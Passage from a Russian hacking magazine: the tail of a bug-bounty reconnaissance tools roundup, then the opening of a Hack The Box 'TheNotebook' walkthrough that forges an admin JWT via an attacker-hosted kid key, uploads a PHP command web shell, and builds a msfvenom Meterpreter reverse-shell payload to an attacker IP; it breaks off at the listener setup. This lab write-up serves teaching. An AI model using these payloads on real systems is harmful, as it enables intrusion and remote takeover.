SSTI, SSRF или XXE, чаще всег­ о обнар­ ужи‐­ вают на  подд­ оменах. Чем больш­ е ты их найд­ ешь, тем шире будет повер‐­ хность атак­ и. Сущест­ вуе­ т очень мног­ о инст­ рум­ ент­ ов для их поиск­ а, поэтом­ у я расс­ мотр­ ю тольк­ о те, которые прошл­ и пров­ ерк­ у в боевых услов­ иях и показа‐­ ли себя эффективн­ ыми на разн­ ых прогр­ аммах bug bounty. Chaos Сайт прое­ кта INFO Сейч­ ас прое­ кт недост­ упен для широкой публ­ ики, но, если ты готов подожд­ ать, под­ ай заявк­ у. Вла‐­ дельц­ ы высылаю­ т инвайт­ ы всем желаю­ щим каж‐­ дые две недели по понедельн­ икам. Начн­ ем с  вариа­ нта для  ленивых. Утил­ ита Chaos собирае­ т информац­ ию обо всех публ­ ичных прогр­ аммах, находящ­ ихс­ я на извест­ ных багб­ аунт­ и‑плат‐­ формах, врод­ е Bugcrowd, HackerOne, Intigrity. Chaos На момент написан­ ия статьи на сайт­ е есть 513 прогр­ амм. Информац­ ия пос‐­ тоянн­ о обновляе­ тся, так что ты всегд­ а будешь видеть актуа­ льн­ ую. WWW Есл­ и любишь работать с  конс­ олью, то у  Chaos есть удобн­ ый клие­ нт. Пои­ ск и  сорт­ ировк­ а по  прогр­ аммам реализ­ ован­ ы очень удобн­ о. Напр­ имер, можн­ о посм­ отреть тольк­ о те прогр­ аммы, которые предл­ агаю­ т возн­ аграж‐­ дение за найд­ енн­ ые уязв­ имост­ и или имею­ т мног­ о подд­ оменов, или отслед­ ить новые прогр­ аммы, чтоб­ ы успеть зайт­ и перв­ ым и  снять вишенк­ у с  торт­ а. В отлич­ ие от больш­ инст­ ва сайт­ ов, связ­ анн­ ых с разв­ едкой, он бесп­ латн­ ый. chaos -d uber.com -silent restaurants.uber.com testcdn.uber.com approvalservice.uber.com zoom-logs.uber.com eastwood.uber.com meh.uber.com webview.uber.com kiosk-api.uber.com ... recon.dev Сайт прое­ кта Еще один сайт, который поможет собр­ ать мног­ о полезн­ ой информац­ ии о  подд­ оменах. В  отлич­ ие от  Chaos, бесп­ латн­ о recon.dev показыв­ ает тольк­ о перв­ ые  20  результ­ атов поиск­ а. За  остальн­ ые прид­ етс­ я запл­ атить, однак­ о цена за полученн­ ый набор данн­ ых небольш­ ая. recon.dev subfinder Скач­ ать с GitHub Subfinder счит­ аетс­ я потомк­ ом sublist3r — утил­ ита тоже собирае­ т информа‐­ цию о подд­ оменах, использ­ уя множ­ ест­ во пасс­ ивных онлайн­ овых источник­ ов, таких как Baidu, Bing, Censys. Для некотор­ ых источник­ ов потр­ ебуе­ тся внест­ и ключ­ и от  API в  файл конф­ игурац­ ии ($HOME/.config/subfinder/config. yaml). Subfinder имее­ т удобн­ ую модульн­ ую архит­ ект­ уру и написан на Go, так что очень быст­ ро работае­ т. Subfinder СЛОВАРИ Пер­ ед тем как  начинать разв­ едку, стои­ т запаст­ ись пачк­ ой добр­ отных сло‐­ варей. От выбора хорошег­ о слов­ аря зависит мног­ ое: чем больш­ е будет соб‐­ рано скрыт­ ых параметр­ ов, подд­ оменов, директ­ орий и  файл­ ов, тем выше шанс обнар­ ужить какую‑нибудь брешь в безопасн­ ости. В интернет­ е можн­ о найт­ и огромное количест­ во слов­ арей, но  не все они эффективн­ ы. Занимая­ сь некотор­ ое врем­ я багб­ аунт­ и и попр­ обовав при этом разн­ ые слов­ ари, я для себя выделил неск­ ольк­ о очень интер­ есн­ ых вариа­ нтов, которые не  раз меня выручал­ и и  помогал­ и обнар­ ужить мест­ а, до  которых еще не доходил­ и друг­ ие охотн­ ики за багами. fuzz.txt Скач­ ать с GitHub Я всегд­ а начинаю с fuzz.txt, который содерж­ ит спис­ ок потенц­ иальн­ о опас‐­ ных файл­ ов и  директ­ орий. Слов­ арь практ­ ическ­ и кажд­ ый месяц дополн­ яетс­ я новыми слов­ ами. Прох­ одитс­ я быст­ ро, а  за счет этог­ о можн­ о скор­ ее начать ковырять находк­ и и  паралл­ ельн­ о пост­ авить перебир­ ать друг­ ие, более объ‐­ емные списк­ и. Слов­ арь содерж­ ит  4842  слов­ а, но, по  опыт­ у, именн­ о он отлично подх­ одит для перв­ оначальн­ ого исслед­ ован­ ия веб‑прил­ ожен­ ия. SecLists Скач­ ать с GitHub SecLists  — это  целая колл­ екция слов­ арей, которые очень приг­ одятс­ я не тольк­ о в багб­ аунт­ и, но и при пент­ есте. Слов­ ари включ­ ают в себя юзерн­ ей‐­ мы, пароли, параметр­ ы URL, подд­ омены, веб‑шелл­ ы и мног­ ое друг­ ое. Я нас‐­ тоятельн­ о рекоменд­ ую потр­ атить немн­ ого врем­ ени на  детальн­ ое изуч­ ение содерж­ имого колл­ екции. Стран­ ица прое­ кта WWW Есл­ и в своб­ одн­ ое от работы врем­ я ты тоже реша‐­ ешь тачк­ и на  Hack The  Box, то directory-list- lowercase-2.3-medium.txt прост­ о незамен­ им. Assetnote Wordlists Сайт прое­ кта Еще одна класс­ ная подб­ орка слов­ арей для  обнар­ ужен­ ия разн­ ого рода конт­ ента и подд­ оменов. Слов­ ари генерир­ уютс­ я 28-го числ­ а кажд­ ого месяца с помощью commonspeak2 и GitHub Actions. Assetnote Пом­ имо автом­ атич­ еск­ и сген­ ерир­ ованн­ ых подб­ орок, на сайт­ е такж­ е есть сло‐­ вари, созд­ анные вручн­ ую, с помощью Google BigQuery. Самостоятельная генерация Част­ еньк­ о прих­ одитс­ я генерир­ овать собст­ венн­ ые слов­ ари. Написать скрипт, конечн­ о, не сост­ авит труд­ а, но зачем изобр­ етать велосип­ ед? Есть мног­ о инст­ рум­ ент­ ов для генерац­ ии слов­ арей, но из всег­ о множ­ ест­ ва я использ­ ую Pydictor. Тулз­ а предл­ агае­ т больш­ ой набор функ­ ций, благ­ одар­ я которым можн­ о созд­ ать идеа­ льн­ ый слов­ арь практ­ ическ­ и для любой ситуа­ ции. Помимо этог­ о, Pydictor умее­ т сравн­ ивать файл­ ы, подс­ чит­ ывать част­ оту слов и объе­ дин­ ять неск­ ольк­ о слов­ арей в один. Дав­ ай разб­ ерем прим­ ер. Предп­ оложим, мы знае­ м, что пароль — модифи‐­ циров­ анн­ ая верс­ ия слов­ а Password и может содерж­ ать: • вмест­ о а знак @; • вмест­ о о 0; • в конц­ е от одног­ о до трех чисел. Ген­ ерир­ уетс­ я такой слов­ арь с помощью след­ ующей команд­ ы: ./pydictor.py --conf '[P[a,@]{1,1}<none>ssw[o,0]{1,1}<none>rd[0-9]{1, 3}<none>' --output /home/kali/Desktop/pydict Здесь <none> означ­ ает, что утил­ ите не нужн­ о делать никаких дополн­ ительн­ ых дейс­ твий с подс­ тан­ овочн­ ой комб­ инацие­ й. В конц­ е Pydictor выводит кратк­ ую сводк­ у по проц­ есс­ у генерац­ ии. Не то чтоб­ ы очень важн­ ая инфа, но чувст­ вуе­ тся забота разр­ аботч­ ика. СКАНЕРЫ ПОРТОВ Пройт­ ись по всем порт­ ам в поиск­ ах интер­ есн­ ого — милое дело во врем­ я баг‐­ баунт­ и. Если получитс­ я найт­ и никем ранее не исслед­ ованн­ ое прил­ ожен­ ие — еще лучш­ е! При этом не стои­ т забывать, что даже внешн­ е безобидн­ ые порт­ ы могут скрыв­ ать что‑то не  вполн­ е ожид­ аемое. Я, напр­ имер, находил HTTP- серв­ ис на  22-м порт­ е: туда даже брау­ зер­ ом зайт­ и нельз­ я, тольк­ о через curl или wget! Есл­ и скоу­ п не  особ­ енн­ о больш­ ой, то для  скан­ а подойд­ ет Nmap, который точн­ о не нужд­ аетс­ я в предс­ тавл­ ении. Но что делать, если хост­ ов очень мно‐­ го? Несм­ отря на то что Nmap — мощн­ ый инст­ рум­ ент, у него есть сущест­ вен‐­ ный недост­ аток  — он медл­ енный. Альт­ ерн­ атива, но  не конк­ урент  — masscan: он быст­ рый, но не наст­ ольк­ о функ­ цио­ нальн­ ый, как Nmap. Чтоб­ ы ска‐­ ниров­ ание порт­ ов было дейс­ твит­ ельн­ о быст­ рым и  эффективн­ ым, можн­ о использ­ овать оба скан­ ера вмест­ е. Как? Сейч­ ас покажу! MassMap Скач­ ать с GitHub MassMap позв­ оляе­ т проск­ аниров­ ать больш­ ое количест­ во IP-адрес­ ов со скор­ остью masscan и тщат­ ельн­ остью Nmap. MassMap написан на Bash, так что для его использ­ ования тебе не прид­ етс­ я ничего комп­ илиров­ ать. Пер­ ед началом скан­ иров­ ания скрипт пров­ ерит наличие всег­ о необ‐­ ходимог­ о для  работы, а  при отсутст­ вии чего‑либо  — автом­ атич­ еск­ и доус‐­ тановит. Алг­ оритм прост: снач­ ала с  помощью masscan скан­ ирую­ тся все  65  535 TCP-порт­ ов по переданн­ ому списк­ у IP-адрес­ ов. Посл­ е этог­ о Nmap прох­ одит‐­ ся по найд­ енн­ ым открыт­ ым порт­ ам (в том числ­ е с использ­ ование­ м скрипт­ ов), выдавая уже расш­ иренн­ ую информац­ ию по  кажд­ ому. Результ­ ат можн­ о сох‐­ ранить в удоб­ очит­ аемом форм­ ате. MassMap Стран­ ичк­ а с результ­ атами Так как  скрипт  — это  факт­ ическ­ и оберт­ ка над  скан­ ерам­ и, ты можешь изме‐­ нить любые параметр­ ы, добавить какие‑то свои тулз­ ы, в  общем, твор­ ить и улучш­ ать как хочешь! dnmasscan Скач­ ать с GitHub Dnmasscan  — это  еще один скрипт на  Bash для  автом­ атич­ еск­ ого резол‐­ винга доменн­ ых имен и посл­ едую­ щег­ о их скан­ иров­ ания с помощью masscan. Поск­ ольк­ у masscan не  прин­ имае­ т доменн­ ые имен­ а, скрипт созд­ ает файл, в котором записан­ ы IP-адрес­ а доменов. Выв­ од dnmasscan →Продолжение статьи

ВЗЛОМ ← НАЧАЛО СТАТЬИ ИНСТРУМЕНТЫ РАЗВЕДЧИКА ПОДБИРАЕМ ПОЛЕЗНЫЕ УТИЛИТЫ ДЛЯ РАЗВЕДКИ ПРИ ОХОТЕ ЗА БАГАМИ ФАЙЛЫ, ДИРЕКТОРИИ, ПАРАМЕТРЫ Подд­ омены и айпишн­ ики собр­ аны — самое врем­ я начать их исслед­ овать. Тут в основном использ­ уютс­ я всяк­ ого рода брут­ еры, которые анал­ изир­ уют отве‐­ ты, чтоб­ ы понять, сущест­ вуе­ т ли иском­ ый путь или параметр. Gobuster Скач­ ать с GitHub Gobuster  — это  один из  самых мощн­ ых и  извест­ ных инст­ рум­ ент­ ов для поиск­ а файл­ ов и директ­ орий на сайт­ ах. Однак­ о, если бы все его спос­ об‐­ ности огран­ ичив­ ались брут­ ом путей и сравн­ ение­ м кодов ответ­ ов, ты бы и сам мог накидать такой же на  питоне минут за  пять, а  gobuster умее­ т такж­ е перебир­ ать подд­ омены, имен­ а вирт­ уальн­ ых хост­ ов на целевом веб‑серв­ ере, а еще открыт­ ые хран­ илищ­ а Amazon S3. Gobuster GoSpider Скач­ ать с GitHub GoSpider — это мног­ офунк­ цио­ нальн­ ый веб‑паук, такж­ е написанн­ ый на Go. Утил­ ита умее­ т парс­ ить robots.txt и sitemap.xml, искать подд­ омены в отве‐­ те и  получать ссылк­ и из  Internet Wayback Machine. Еще  GoSpider подд­ ержи‐­ вает паралл­ ельн­ ый крау­ линг неск­ ольк­ их сайт­ ов, что очень ускор­ яет проц­ есс сбор­ а информац­ ии. GoSpider Поисковики Перв­ ую свою багу, за которую мне запл­ атили, я обнар­ ужил именн­ о благ­ одар­ я поиск­ овикам. Бывае­ т, что ни  gobuster, ни  GoSpider не  дают никаких резуль‐­ татов. Но  если тулз­ ы ничего не  находят, это  еще не  означ­ ает, что на  сайт­ е дейс­ твит­ ельн­ о ничего нет. В сложн­ ых случ­ аях на  помощь част­ о прих­ одят поиск­ овики: дост­ аточн­ о прост­ о вбить в  них site:site.com  — и  поиск­ овый робот вывалит тебе готовый спис­ ок. Мног­ ие файл­ ы и директ­ ории никогд­ а не были бы обнар­ уже‐­ ны, если бы не поиск­ овики. Важн­ о использ­ овать сраз­ у неск­ ольк­ о поиск­ овиков (да, сущест­ вуе­ т не тольк­ о Google, но и Bing, и Yahoo), потому что кажд­ ый может показать раз‐­ ные результ­ аты. Дав­ ай посм­ отрим поиск­ овую выдачу для  сайт­ а iom.bus.att.com. В Google будет всег­ о два результ­ ата. Гугл­ им А теперь тот же самый запр­ ос в Bing. Бинг­ о! Как видишь, в  выдаче уже девять результ­ атов вмест­ о двух. Мораль: не забывай, что, помимо Google, сущест­ вую­ т и друг­ ие поиск­ овики! :) arjun Скач­ ать с GitHub Аrjun умее­ т находить скрыт­ ые параметр­ ы запр­ осов для  заданн­ ых эндпо‐­ интов. Вот некотор­ ые особ­ енн­ ости: • подд­ ержив­ ает запр­ осы GET, POST, POST-JSON, POST-XML; • экс­ порт­ ируе­ т результ­ аты в Burp Suite, текс­ тов­ ые или JSON-файл­ ы; • авт­ оматич­ еск­ и обраб­ атыв­ ает rate limits и тайм‑ауты. Arjun INFO Об Arjun мы уже писали, пусть и не особ­ енн­ о под‐­ робно. Зато в той статье ты можешь подс­ мотр­ еть друг­ ие годн­ ые инст­ рум­ ент­ ы! INTERNET WAYBACK MACHINE Wayback Machine  — это  гром­ адн­ ый архив веб‑стран­ иц, содерж­ ащий более  330  милл­ иард­ ов сохр­ аненн­ ых копий, и  все они прои­ ндексир­ ован­ ы для  удобн­ ого поиск­ а. Прое­ кт сохр­ аняе­ т истор­ ическ­ ие верс­ ии, благ­ одар­ я чему ты можешь верн­ утьс­ я на  мног­ о лет назад и  посм­ отреть, как  выгл­ ядит интер­ есую­ щий тебя сайт. Чем это  может быть полезн­ о для  охотн­ ика за  багами? Напр­ имер, бывае­ т любопытн­ о загл­ януть в стар­ ые файл­ ы robots.txt. В нем указ­ ываю­ тся эндпо‐­ инты, которые не долж­ ны индексир­ овать поиск­ овики, и со врем­ енем этот спи‐­ сок меняе­ тся. Wayback Machine все это  потихоньк­ у архив­ ируе­ т, и  стар­ ые эндпои­ нты вполн­ е могут оказ­ атьс­ я рабочим­ и, так что было  бы прест­ уплен­ ием не  вос‐­ польз­ оватьс­ я такой возм­ ожностью получить от  самих хозяе­ в сайт­ а спис­ ок заведом­ о интер­ есн­ ых локаций! Waybackrobots Скач­ ать с GitHub Waybackrobots — это удобн­ ый и очень прост­ ой скрипт, который автом­ ати‐­ зируе­ т проц­ есс получен­ ия стар­ ых верс­ ий robots.txt. Обяз­ ательн­ ый параметр у него всег­ о один: -d, он указ­ ывае­ т домен, под который нужн­ о копать. Waybackrobots wbk.go Скач­ ать с GitHub У Wayback Machine, сред­ и проч­ его, есть спис­ ок всех URL, которые он собирал для  домена. Напр­ имер, ты можешь получить спис­ ок всех урлов, которые машина заарх­ ивиров­ ала для tesla.com. Скрипт wbk.go автом­ атич­ еск­ и извлеч­ ет урлы, заарх­ ивиров­ анн­ ые в Wayback Machine, для нужн­ ого тебе домена. go run wbk.go tesla.com Дем­ онст­ рац­ ия работы GITHUB GitHub  — это, счит­ ай, отраслев­ ой станд­ арт для  конт­ рол­ я верс­ ий и  совм­ ес‐­ тной работы над прое­ ктом. Милл­ ионы разр­ аботч­ иков неск­ ольк­ о раз за один день внос­ ят измен­ ения в код на GitHub, и далеко не всегд­ а они смотр­ ят, что именн­ о загр­ ужаю­ т. Бывае­ т, что они случ­ айн­ о забываю­ т удал­ ить учетн­ ые дан‐­ ные — логины, пароли и самые разн­ ые токены. Ты наверн­ яка не раз сталк­ ивалс­ я с Google dorks. В GitHub тоже есть свои дорк­ и, которые можн­ о использ­ овать для  поиск­ а вкусн­ ых данн­ ых, врод­ е API- ключ­ ей. INFO По теме Google dorks читай такж­ е: •Google как  средст­ во взлом­ а. Разб­ ирае­ м акту‐­ альн­ ые рецепт­ ы Google Dork Queries •Исп­ ольз­ уем малои­ звест­ ные функ­ ции Google, чтоб­ ы найт­ и сокр­ ытое •Смотр­ и во  все глаз­ а. Как  взлам­ ываю­ т IP- и веб‑камеры и как от этог­ о защититьс­ я gdorklinks.sh Скач­ ать с GitHub Gist Прост­ ой скрипт, который генерир­ ует ссылк­ и поиск­ а по GitHub с дорк­ ами. В качест­ ве параметр­ а необх­ одимо указ­ ать имя или сайт комп­ ании. На выходе получишь готовые ссылк­ и, которые прост­ о необх­ одимо встав­ ить в  брау­ зер и изуч­ ить полученн­ ую информац­ ию. gdorklinks.sh GirDorker Скач­ ать с GitHub GitDorker не  прост­ о генерир­ ует ссылк­ и, а  сраз­ у ищет информац­ ию, использ­ уя GitHub Search API и  обширный спис­ ок дорк­ ов, которых на  данн­ ый момент  513. Этот инст­ рум­ ент можн­ о назв­ ать более продв­ инутым вариа­ нтом пред­ ыдущ­ его скрипт­ а. Для работы потр­ ебуе­ тся завест­ и GitHub Personal Access Token, а  лучш­ е минимум два таких токена. Это  связ­ ано с  тем, что поиск­ овый API огра‐­ ничен 30 запр­ осами в минуту: если токен всег­ о один, очень быст­ ро упрешьс­ я в лимиты. GitDorker ФРЕЙМВОРКИ Когд­ а долг­ ое врем­ я занимае­ шьс­ я багб­ аунт­ и или  пент­ естом, разв­ едка начинае­ т превр­ ащатьс­ я в  рутину. Тут невольн­ о задумае­ шьс­ я об  автом­ ати‐­ зации. Ниже мы поговор­ им о  фрейм­ ворк­ ах, которые практ­ ическ­ и полн­ остью автом­ атиз­ ирую­ т разв­ едку. Sudomy Скач­ ать с GitHub Sudomy  — это  без преу­ вел­ ичен­ ия мощн­ ый Bash-скрипт. Он включ­ ает в себя множ­ ест­ во инст­ рум­ ент­ ов для анал­ иза, перебор­ а, поиск­ а подд­ оменов. Сбор информац­ ии может делать пасс­ ивно или активно. Для активног­ о метода скрипт использ­ ует gobuster из‑за его высокой ско‐­ рост­ и брутф­ орса. При  брут­ е подд­ оменов прим­ еняе­ тся слов­ арь из  SecLists (Discover/DNS), который содерж­ ит окол­ о трех милл­ ионов записей. В  пас‐­ сивном методе информац­ ия собирае­ тся из  22  источник­ ов, в  том числ­ е Censys, SpySe, DNSdumpster и VirusTotal. Чтоб­ ы полн­ остью разобр­ ать Sudomy, понадоб­ итс­ я еще  одна статья, поэтом­ у я прост­ о скаж­ у, что он умее­ т: • пров­ еряе­ т, возм­ ожно ли легк­ о захв­ атить подд­ омен; • идент­ ифицир­ ует техн­ ологии, использ­ уемые сайт­ ом; • обн­ аружив­ ает порт­ ы, урлы, заголовк­ и, длин­ у содерж­ имого, код сост­ ояния HTTP; • пров­ еряе­ т прин­ адл­ ежность IP к Cloudflare; • мож­ ет отправл­ ять увед­ омл­ ения в Slack; • скан­ ируе­ т порт­ ы с  собр­ анных IP-адрес­ ов, подд­ оменов, вирт­ уальн­ ых хос‐­ тов. WWW Полн­ ый гайд по  Sudomy, созд­ анный разр­ абот‐­ чиком (PDF) Для прим­ ера давай прост­ о запуст­ им скрипт с параметр­ ами --all (запуст­ ить все перечисл­ ения) и  --html (сформ­ ировать отчет в  HTML). Посм­ отрим, что он найд­ ет, напр­ имер, для hackerone.com. Рез­ ульт­ аты Практ­ ическ­ и всю найд­ енн­ ую информац­ ию можн­ о посм­ отреть в  сген­ ери‐­ рованн­ ом скрипт­ ом отчет­ е с  хорошей структ­ урой и  очень друж­ елюбн­ ым интерфейс­ ом. Reconftw Скач­ ать с GitHub Reconftw — это очень больш­ ой скрипт, который автом­ атиз­ ируе­ т букв­ альн­ о все: от  разв­ едки до  поиск­ а уязв­ имост­ ей. Он вобр­ ал в  себя лучш­ ие тулз­ ы, которым­ и польз­ уютс­ я охотн­ ики за  багами, включ­ ая опис­ анн­ ые в  статье. Вот лишь малая часть того, что он умее­ т: • иск­ ать URL на сайт­ е; • соб­ ирать информац­ ию о подд­ оменах; • иск­ ать открыт­ ые бакеты S3 и дамп­ ить их содерж­ имое; • пров­ ерять наличие XSS, SSRF, CRLF, LFI, SQLi и друг­ их уязв­ имост­ ей; • пров­ ерять, есть ли на сайт­ е WAF; • отп­ равл­ ять опов­ ещен­ ия в Slack, Discord и Telegram; • иск­ ать параметр­ ы URL. ЗАКЛЮЧЕНИЕ Ест­ ест­ венн­ о, в  статье расс­ мотр­ ены далеко не  все инст­ рум­ ент­ ы для  рекона. Эти, на  мой взгляд, самые годн­ ые из  тех, с  которым­ и работаю я, но  у тебя могут быть лучш­ ие инст­ рум­ ент­ ы. Если тебе этог­ о мало  — загл­ яни в  репози‐­ тории KingOfBugbounty и nahamsec. Не стесн­ яйс­ я делитьс­ я опыт­ ом в  комм­ ентар­ иях, а  если готов написать целую статью, то ты знае­ шь, что делать!

ВЗЛОМ HTB THENOTEBOOK СОВЕРШАЕМ ПОБЕГ ИЗ DOCKER, ЧТОБЫ ЗАХВАТИТЬ РУТ В этой статье мы на  прим­ ере средн­ ей RalfHacker по  сложн­ ости машины TheNotebook с  Hack [email protected] The  Box поработ­ аем с  техн­ ологие­ й JSON Web Token, проэ­ ксп­ луа­ тир­ уем уязв­ имость при  загр­ узке файл­ ов на  серв­ ер и  пос‐­ мотрим, как работае­ т одна из техн­ ик Docker Breakout — побега из конт­ ейн­ ера Docker. WARNING Подк­ люч­ атьс­ я к  машинам с  HTB рекоменд­ уетс­ я тольк­ о через VPN. Не делай этог­ о с компью­ тер­ ов, где есть важн­ ые для тебя данн­ ые, так как ты ока‐­ жешьс­ я в общей сети с друг­ ими участ­ ник­ ами. РАЗВЕДКА. СКАНИРОВАНИЕ ПОРТОВ Адр­ ес машины сраз­ у же кидае­ м в /etc/hosts, чтоб­ ы дальш­ е набирать тольк­ о назв­ ание. 10.10.10.230 thenotebook.htb И, как  и любая друг­ ая атак­ а, работа над  вирт­ уалк­ ой начинае­ тся со  скан­ иро‐­ вания порт­ ов. Прив­ ожу свой трад­ ицио­ нный скрипт, который делае­ т это в два прох­ ода при помощи Nmap. #!/bin/bash ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '\\n' ',' | sed s/,$//) nmap -p$ports -A $1 Рез­ ульт­ ат работы скрипт­ а По результ­ атам скан­ иров­ ания имее­ м два открыт­ ых порт­ а: 22 (служб­ а SSH) и 80 (веб‑серв­ ер nginx 1.14.0). Для начала вним­ ательн­ о осмотримс­ я на сайт­ е и соберем информац­ ию. Сайт пред­ ост­ авляе­ т возм­ ожность регист­ рац­ ии и  дальн­ ейшей автор­ иза‐­ ции. Стои­ т сраз­ у выполн­ ить эти дейс­ твия, так как  очень высока вероя­ тность тем самым увел­ ичить поверх­ ность атак­ и. Главн­ ая стран­ ица сайт­ а Посл­ е автор­ изац­ ии нам открыв­ аютс­ я функ­ ции созд­ ания, хран­ ения и  чтен­ ия заметок. А это потенц­ иальн­ ая точк­ а вход­ а. Стран­ ица работы с заметк­ ами В данн­ ом случ­ ае стои­ т просм­ отреть все запр­ осы к  серв­ еру и  его ответ­ ы. Не  исключ­ ено, что таким образ­ ом обнар­ ужатс­ я логическ­ ие ошибк­ и в  при‐­ ложен­ ии. Для  отлов­ а всех запр­ осов и  ответ­ ов прокс­ ируе­ м их через Burp. Наст­ рои­ в его, прох­ одим полн­ ый цикл работы с заметк­ ой: созд­ аем ее и прос‐­ матрив­ аем. Стран­ ица созд­ ания и заполн­ ения заметк­ и Стран­ ица просм­ отра заметок А теперь смотр­ им истор­ ию запр­ осов в Burp. Ист­ ория запр­ осов Burp При просм­ отре запр­ осов сраз­ у обрат­ им вним­ ание на  использ­ уемые cookie. По форм­ ату автор­ изац­ ионн­ ая печеньк­ а уж очень похожа на JWT. Cookie, передав­ аемые веб‑серв­ еру ТОЧКА ВХОДА. МАНИПУЛЯЦИИ JWT JSON Web Token сост­ оит из  трех част­ ей: заголовк­ а (header), полезн­ ой наг‐­ рузки (payload) и  подп­ иси. Заголов­ ок и  полезн­ ая нагр­ узка предс­ тавл­ яют собой объе­ кты JSON, а  нагр­ узка может быть любой  — это  именн­ о те кри‐­ тическ­ ие данн­ ые, которые передаю­ тся прил­ ожен­ ию. Заг­ олов­ ок содерж­ ит поля: • alg — алгор­ итм, использ­ уемый для подп­ иси/шифр­ ования. Это обяз­ атель‐ ный ключ; • typ — тип токена. Долж­ но иметь знач­ ение JWT; • cty — тип содерж­ имого. Трет­ ий элем­ ент вычисл­ яетс­ я на  основ­ ании перв­ ых и  зависит от  выбр­ анног­ о алгор­ итм­ а. Токены могут быть перекод­ иров­ аны в комп­ акт­ ное предс­ тавл­ ение: к заголовк­ у и полезн­ ой нагр­ узке прим­ еняе­ тся алгор­ итм кодиров­ ания Base64- URL, посл­ е чего добавл­ яетс­ я подп­ ись и  все три элем­ ент­ а разд­ еляю­ тся точ‐­ ками (как на скринш­ оте выше). Попр­ обуе­ м разобр­ ать данн­ ые. Для этог­ о нам понадоб­ итс­ я либо прил­ оже‐­ ние jwt_tool, либо онлайн­ овый серв­ ис jwt.io. Я выбр­ ал jwt.io, чтоб­ ы ничего не устан­ авл­ ивать, и дальш­ е буду использ­ овать его. В нашем вариа­ нте в  заголовк­ е прис­ утст­ вуе­ т ключ kid, указ­ ываю­ щий на прив­ атн­ ый ключ, а в качест­ ве подп­ исанн­ ых данн­ ых знач­ атс­ я использ­ уемые при  регист­ рац­ ии данн­ ые  — имя польз­ овател­ я и  адрес элект­ ронн­ ой почт­ ы. Но в данн­ ых прис­ утст­ вуе­ т еще один ключ admin_cap, скор­ ее всег­ о обозн­ ача‐­ ющий наличие прив­ илег­ ий. Разб­ ор JWT с помощью jwt.io Что делать дальш­ е, понятн­ о — нужн­ о измен­ ить ключ, отвеч­ ающий за наличие прив­ илег­ ий админ­ ист­ рат­ ора, подп­ исать новые данн­ ые, сген­ ерир­ овать новый JWT и  заменить стар­ ый на  серв­ исе заметок. Наличие прив­ илег­ ий админ­ ис‐­ трат­ ора может дать ряд свои­ х преи­ мущ­ еств — от чтен­ ия прив­ атн­ ой информа‐­ ции до устан­ овк­ и на серв­ ис разн­ ых дополн­ ений (что, скор­ ее всег­ о, прив­ едет нас к удал­ енн­ ому выполн­ ению кода). С измен­ ение­ м ключ­ а admin_cap все ясно, прост­ о выст­ авим един­ ичк­ у. Но что сдел­ ать с подп­ исью? В заголовк­ е указ­ ан адрес прив­ атн­ ого ключ­ а, что наталк­ ивае­ т на  идею: сген­ ерир­ овать свою пару ключ­ ей для  подп­ иси токена, разм­ естить их на свое­ м веб‑серв­ ере и затем в заголовк­ е указ­ ать адрес клю‐­ ча на  этом серв­ ере. Снач­ ала сген­ ерир­ уем пару ключ­ ей, а  потом перевед­ ем в форм­ ат PEM. ssh-keygen -t rsa -b 4096 -m PEM -f privKey.key openssl rsa -in privKey.key -pubout -outform PEM -out pubKey.key.pub Ген­ ерир­ ован­ ие пары ключ­ ей Теп­ ерь запуст­ им в той же директ­ ории прост­ ой веб‑серв­ ер на основ­ е Python 3. python3 -m http.server Пор­ а генерир­ овать новый токен. Измен­ яем знач­ ения по  ключ­ ам admin_cap и  kid, во  втор­ ом случ­ ае указ­ ывае­ м URL сген­ ерир­ ованн­ ого ключ­ а. Такж­ е вставл­ яем сген­ ерир­ ованн­ ые публ­ ичный и  прив­ атн­ ый ключ­ и в  поля Verify Signature. Если ты все сдел­ ал прав­ ильн­ о, то ниже токена увид­ ишь надп­ ись Signature Verified. Созд­ ание нового токена Вставл­ яем новый токен в cookie, напр­ имер с помощью расш­ ирения для бра‐­ узер­ а Cookie Editor, и обновляе­ м стран­ ицу. В окне запущенн­ ого веб‑серв­ ера увид­ им обращ­ ение к  файл­ у ключ­ а, а  в брау­ зер­ е, если обнов­ ить стран­ ицу, появитс­ я ссылк­ а на админс­ кую панель. Лог­ и веб‑серв­ ера Разд­ елы сайт­ а ТОЧКА ОПОРЫ. УЯЗВИМОСТЬ ПРИ ЗАГРУЗКЕ ФАЙЛОВ Нам стал­ и дост­ упны для просм­ отра заметк­ и админ­ ист­ рат­ ора — можн­ о поис‐­ кать в  них что‑нибудь интер­ есн­ ое. Но  помимо этог­ о, открыл­ ась форм­ а для загр­ узки файл­ ов. Сред­ и админс­ ких заметок видим упом­ инан­ ие исполне‐­ ния файл­ ов PHP, а это потенц­ иальн­ ый вект­ ор атак­ и. Зам­ етк­ а об исправл­ ении конф­ игурац­ ий Попр­ обуе­ м загр­ узить PHP-скрипт, который будет прин­ имать команд­ у в  параметр­ е c и  выполн­ ять ее с  помощью функ­ ции system. Посл­ е загр­ узки нам покажут, с каким имен­ ем был загр­ ужен файл. <?php echo system($_GET[\"c\"]); ?> Форм­ а загр­ узки файл­ а Имя сохр­ аненн­ ого файл­ а Теп­ ерь обрат­ имс­ я к  загр­ уженн­ ому бэкд­ ору и  передад­ им ему команд­ у id. Команд­ а успешно выполн­ ена, а мы понимае­ м, что работае­ м в конт­ екс­ те учет‐­ ной записи веб‑серв­ ера. Вып­ олн­ ение команд­ ы через загр­ уженн­ ый бэкд­ ор Так как  загр­ уженн­ ый шелл работае­ т, мы можем закинуть еще  один, более удобн­ ый, который может дать нам интер­ акт­ ивную конс­ оль. Я для  этих целей выбр­ ал Meterpreter. Сген­ ерир­ овать соотв­ етст­ вую­ щий файл можн­ о двум­ я сле‐­ дующим­ и строк­ ами кода. msfvenom -p php/meterpreter_reverse_tcp LHOST=10.10.14.178 LPORT=4321 -f raw > r.php cat r.php | xclip -selection clipboard && echo '<?php ' | tr -d '\\n' > r.php && xclip -selection clipboard -o >> r.php Перв­ ая строк­ а генерир­ ует основной код нагр­ узки с  помощью msfvenom. Здесь нужн­ о указ­ ать локальн­ ый адрес и  порт для  бэкк­ оннект­ а, а  такж­ е фор‐­ мат сохр­ анения данн­ ых. Втор­ ая команд­ а оформ­ ит сген­ ерир­ ованн­ ый код в теги PHP. Ген­ ерир­ ован­ ие нагр­ узки Meterpreter в форм­ ате PHP Теп­ ерь запуст­ им унив­ ерс­ альн­ ый лист­ енер в  Metasploit. За  это отвеч­ ает модуль handler, 